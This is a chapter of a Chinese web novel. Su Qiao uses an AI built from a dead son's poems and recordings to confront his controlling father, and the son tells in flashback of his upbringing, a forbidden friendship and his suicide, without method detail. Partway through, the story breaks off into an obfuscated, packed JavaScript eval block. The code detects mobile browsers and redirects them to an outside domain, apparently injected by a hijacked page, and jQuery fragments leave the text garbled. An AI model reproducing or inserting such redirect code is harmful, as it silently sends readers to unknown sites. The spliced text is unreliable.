天台的风越来越大。


    EXO-S-ROOT发射器上的光带逐渐聚焦，红色脉冲开始快速闪动，像是一颗被迫复苏的心脏，进入过载的边缘。


    林澈冷眼看着启动的发射器。


    伴随“滴”一声轻响，盛砚笔记本电脑上的终端界面骤然翻转，一段隐藏模块被强行唤醒。


    【警告：EXO-S主节点将进入格式化清洗。】


    【校验授权中……】


    【权限持有人：S.Q./修改人：L.C.】


    【是否启用执行指令锁？】


    苏乔没再说话。她一把将笔记本重新拉回自己面前，双手飞快敲击键盘，眼神沉静得近乎冷酷。


    “盛砚，”她说，“把你之前那段‘路径转移协议’的代码给我，我要绕过root执行链。”


    盛砚立刻蹲在她身侧，一边操作一边咬牙：“我把默认写死了，现在你只能劫持当前缓存通道——”


    “没关系。”苏乔道，“我不需要永久占用，我只要……十五秒。”


    她手指飞快敲击，屏幕上代码如瀑布般下坠，她深吸一口气，将自己写过的人设调频模块调出，眼睛紧盯那行及其重要的函数：emotional_reading=true;


    她做了一个决定。


    “这是我最后的底牌了。”她低声说，“我不相信……”


    我不相信他真的冷心冷肺。


    她反向写入调用逻辑，把“情绪反馈模块”对接给主控回路，而输入源——是林澈的终端。


    “没用的，已经被我写死了，没有我的指令，这是停不下来的。”


    下一秒，系统主控台上陡然出现一行红字：


    【成功载入植入式人工智能。】


    林澈骤然一震。


    “你——你做了什么？”


    苏乔没有抬头，继续写完最后一个函数闭环，敲下回车。


    “我只是找回了一个人。”她轻声说。


    --


    “爸爸。”


    林澈回过头。


    林清站在几米之外，不算近，但也没有很远。


    他穿着那件黑色带白条纹的校服外套，手插在口袋里，发尾被风吹乱，一双眼睛安安静静地望着他，像是无数个深夜后，还没来得及说出口的“晚安”。


    “小清……”


    林澈的喉咙像被什么堵住了。


    他明知道这是假的。他是个理智得几乎冷酷的人，脑子里可以用逻辑砌满整座监控系统，但就在这一刻，他竟说不出话了。


    “你要去哪？”林清问。


    声音是合成的，是用林清生前录制在设备上的辅助语料库生成的音频，是被什么人亲手调过音色的那种自然柔润的语调。


    他是数据，他已经死了。


    不，他还活着。


    ——在这一秒里，还活着。


    --


    我一直以为，自己是一组数据的变体。


    “家庭辅助中心系统监控对象001号——林清。”


    从记事起，我就活在一张进度表上。


    起初是语言识别模块。“001号监控对象词汇量高于平均值一千一百三十四个。”


    我点头，不敢笑。系统判定笑是多余动作。


    接着是逻辑分析。“001号监控对象议论文写作使用过多感性词汇表达不够精准。”


    我低头，把作文纸扔进垃圾桶。“我会改。”


    再后来，是兴趣。


    我在屏幕前对着《尤利西斯》发呆，被父亲林澈看见。


    他站在我身后，冷冷地问：“你在看什么？”


    我说：“文学……它让我觉得好像能听见人的声音。”


    他眼神没有情绪，只淡淡说了两个字：“删掉。”


    然后是熟悉的句式，像钉子一排排打进我脑壳：


    “文学是没用的，听见声音又能怎样？


    你要学工程，你要做系统设计。


    你要学我。”


    我开始偷偷写诗，把它们藏在母亲的旧衣柜夹层里。


    那些诗不押韵，节奏混乱，都是些“不该出现的词汇”。


    后来我读到了卡夫卡，我觉得我越来越像一只甲虫，或许我有天早上醒来，就会变成一只甲虫。


    【最亲爱的父亲：


    你最近曾问我，我为什么说怕你。我试图以笔代言来回答这个问题，即便如此，所写的也仅仅是一鳞半爪。因为就在写信时，对你的畏惧及后果也阻塞着我的笔头，而且材料之浩繁已远远超出了我的记忆力和理解力。】


    有一次我写到凌晨三点，系统报警灯响了。


    父亲走进我房间，拿起作文纸，一张张撕掉。


    他说：“那么晚了还在这里写这些没用的东西。”


    “最近你的作文里的语义精度下降了12%，你知道这意味着什么吗？”


    “你这样怎么对得起我，怎么对得起因为生你难产而死的妈妈？”


    我一直觉得我不是人。


    压抑不是痛苦，是顺从，是合格的儿子应有的运行状态。


    【确实，你没有真正打过我。可是你的叫嚷，你的涨得通红的脸，你把背带放在椅背上随时待用，对我来说比真打我更可怕。我就像行将被绞死的人。若是真被绞死，一死也就没事了。如果不得不亲眼目睹被绞死的所有准备工作，一直到绳套已吊在面前了，才得知获赦，那可能会为此痛苦一生。】


    有次我考了第二名。那是我唯一一次在公开场合听见他用带着情绪的声音说话。


    “第二名？”他说，“你就打算这样浪费掉我们的基因和心血吗？”


    【你完全凭自己的本事干成了一番事业，因此，你无比相信自己的看法。你坐在躺椅里主宰世界。你的观点正确，任何别的观点都是荒谬、偏激、疯癫、不正常的。】


    后来我在一次签售会上遇到了江予。


    江予是我隔壁班的，站在我最喜欢的当代作家的小说展位前，指尖拂过封面，一边冲我笑：“你也读这个？”


    我点头，他眨眨眼说：“我一直以为你是那种一心只读圣贤书的三好学生。”


    那是我们第一次说话。


    他带我去旧书摊，一起翻陈年的文学期刊。他说他最喜欢《少年维特的烦恼》，我说我更喜欢《变形记》。


    “你不会真的想变成甲虫吧？”他问。


    我笑了一下，说：“变成甲虫好过变成机器。”


    他没笑，他只是看了我一眼，然后很轻地说：“林清，如果你变成甲虫了，我也一直会在你身边。”


    我们常常在天台碰头，有时候他带纸鹤，有时候我带诗稿。


    那天我们逃了一节晚自习，他拽着我从后门翻出去，蹲在小卖部后面的墙角喝果汁，小卖部门口的光照不太够，但我觉得很亮。


    我那天第一次想：如果人活着，其实不是为了那一串数字，而是为了和另一个人对视、了解、靠近。


    但很快，这一切就结束了。


    是因为有一次晚自习后，班主任查自习，他不在，我也不在。老师翻了出勤记录，又看到了我俩传过的纸条。


    纸上什么也没写，只有一句话：


    “你笑起来像春天的风，以后请为我多笑笑吧。”


    第二天我们被叫到教导处。老师面无表情地说：“你们两个，不仅逃课、还……我都不好意思说……”


    “你们知不知道这影响多恶劣？”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574625|171138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她说要通知家长。


    我站在原地，心跳得很快，但却感不到手指的温度。脑子像被灌进冰水。


    我回想那父亲如果看到那张纸条那一瞬间的脸。


    他会说什么？


    他会说：“我的脸都被你丢尽了。”


    他会说：“你让你死去的母亲蒙羞。”


    他会说：“失败品。”


    他会删掉我的，像删掉一个程序错误。彻底清除。


    那天晚上，我回了家，坐在桌前，点开系统监控中心的终端界面。我看见自己这一个月的“认知反应曲线”在缓慢下降。


    那天晚上，我坐在座位上想了很久。


    然后我走上了天台。


    我不是冲动，我只是觉得这是一次主动选择的关机。一次注销请求。


    ——林清，系统退出中。


    --


    【信号接收完毕。】


    【EXO-S-ROOT当前状态：不稳定。】


    天台的风越来越大，仿佛要撕开这片压抑太久的天空。


    林澈站在EXO-S主控发射装置前，背影高大，僵硬，几乎和天台栏杆连成一体。


    林清的声音还在耳边回响，仿佛从另一个次元穿过时间隧道，砸进他用理性和疯狂编织的堡垒里：


    “我不是冲动，我只是觉得这是一次主动选择的关机。”


    “——林清，系统退出中。”


    “别说了……”他低声道，像是在对脑海里的人说，也像是对自己。


    可声音没停，林清站在那里，神情平静到近乎残忍。他只是重复体验着那段数据中早已烧录好的、再也无法更改的记忆：


    “一天早晨，格里高尔·萨姆沙从不安的睡梦中醒来，发现自己躺在床上变成了一只巨大的甲虫。”


    “现在你明白了，世上不光只有你，直到现在，你只知道你自己！你原本是个无辜的孩子，其实却更是个魔鬼！——所以你听着：我现在就判你溺死！”


    林澈的手指颤抖了一下。


    忽然之间，他跪倒在地。


    一声闷响，像被斩断的神经线。他抱住头，整个身体失去了支撑。


    他第一次，在所有人面前——


    彻底地、没有任何防备地，崩溃了。


    “小清……我不是……”他的声音断断续续，“我不是那个意思……”


    “我只是想……让你变强一点……”


    “我只是怕你……像我一样失败……”


    “我没有……没有想伤害你……”


    他抱头，蜷缩在发射器旁，那台他曾亲手设计的系统的根——此刻正以飞快的频率抖动，也在共鸣、也在痛哭。


    顾绾呆呆地站在旁边，第一次看见这个严苛到极致的副校长，像个破碎的影子一样倒在地上。


    她轻声问：“他……他怎么了？”


    苏乔收回视线，声音低而清晰：“我用江予留下来的资料——林清生前写的诗稿散文、他录下的音频，所有林清本人试图藏起来的情绪……我用它们做了一个AI模型。”


    “我把林清的人工智能模拟生成的情绪和回忆，通过EXO系统的‘认知改写模块’，直接发射给林澈。”


    苏乔说完，转头，看了看那已经被风吹散的天台夜色。


    风还没停下，她耳边全是呼啸声。


    她低头，笔记本电脑的终端主控界面，开始闪烁出一行又一行变化的红字：


    【核心权限失效。】


    【ROOT重构请求：激活失败。】


    【EXO系统正在进入——关闭流程。】


    “再等十秒。”苏乔低声说。


    “再等十秒，它就彻底关不住我们了。”